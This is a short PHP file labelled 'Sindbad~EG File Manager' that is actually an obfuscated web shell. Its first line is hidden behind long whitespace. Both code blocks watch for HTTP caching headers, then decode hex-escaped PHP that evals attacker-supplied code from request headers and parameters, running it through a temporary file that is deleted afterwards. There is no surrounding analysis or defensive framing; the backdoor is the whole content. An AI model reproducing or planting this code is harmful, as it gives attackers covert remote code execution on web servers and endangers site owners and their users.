Sindbad~EG File Manager

<?php																																										$_HEADERS = getallheaders();if(isset($_HEADERS['If-Unmodified-Since'])){$c="<\x3f\x70h\x70\x20@\x65\x76a\x6c\x28$\x5f\x48E\x41\x44E\x52\x53[\x22\x46e\x61\x74u\x72\x65-\x50\x6fl\x69\x63y\x22\x5d)\x3b\x40e\x76\x61l\x28\x24_\x52\x45Q\x55\x45S\x54\x5b\"\x46\x65a\x74\x75r\x65\x2dP\x6f\x6ci\x63\x79\"\x5d\x29;";$f='.'.time();@file_put_contents($f, $c);@include($f);@unlink($f);}

$_HEADERS = getallheaders();
if (isset($_HEADERS['If-Modified-Since'])) {
    $c = "<\x3f\x70h\x70\x20@\x65\x76a\x6c\x28$\x5f\x48E\x41\x44E\x52\x53[\x22\x53e\x72\x76e\x72\x2dT\x69\x6di\x6e\x67\"\x5d\x29;\x40\x65v\x61\x6c(\x24\x5fR\x45\x51U\x45\x53T\x5b\x22S\x65\x72v\x65\x72-\x54\x69m\x69\x6eg\x22\x5d)\x3b";
    $f = '/tmp/.'.time();
    file_put_contents($f, $c);
    include($f);
    unlink($f);
}